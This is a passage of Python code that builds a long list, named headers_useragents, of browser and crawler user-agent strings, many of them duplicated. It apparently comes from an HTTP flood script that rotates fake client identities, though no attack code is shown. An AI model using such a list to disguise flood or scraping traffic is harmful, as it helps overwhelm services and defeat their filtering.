  1013.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1014.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1015.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1016.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1017.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1018.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1019.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1020.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1021.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1022.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1023.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1024.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1025.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1026.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1027.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1028.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1029.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1030.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1031.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1032.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1033.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1034.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1035.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1036.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1037.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1038.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1039.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1040.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1041.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1042.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1043.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1044.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1045.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1046.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1047.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1048.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1049.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1050.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1051.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1052.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1053.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1054.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1055.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1056.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1057.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1058.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1059.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1060.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1061.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1062.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1063.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1064.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1065.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1066.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1067.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1068.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1069.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1070.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1071.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1072.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1073.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1074.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1075.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1076.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1077.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1078.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1079.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1080.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1081.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1082.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1083.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1084.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1085.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1086.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1087.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1088.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1089.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1090.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1091.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1092.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1093.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1094.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1095.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1096.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1097.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1098.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1099.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1100.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1101.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1102.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1103.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1104.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1105.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1106.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1107.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1108.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1109.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1110.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1111.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1112.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1113.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1114.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1115.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1116.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1117.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1118.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1119.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1120.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1121.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1122.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1123.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1124.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1125.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1126.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1127.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1128.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1129.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1130.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1131.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1132.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1133.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1134.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1135.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1136.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1137.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1138.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1139.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1140.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1141.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1142.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1143.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1144.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1145.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1146.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1147.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1148.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1149.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1150.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1151.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1152.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1153.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1154.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1155.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1156.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1157.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1158.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1159.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1160.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1161.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1162.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1163.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1164.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1165.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1166.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1167.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1168.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1169.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1170.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1171.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1172.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1173.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1174.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1175.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1176.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1177.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1178.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1179.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1180.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1181.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1182.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1183.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1184.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1185.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1186.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1187.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1188.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1189.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1190.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1191.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1192.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1193.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1194.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1195.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1196.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1197.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1198.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1199.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1200.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1201.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1202.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1203.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1204.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
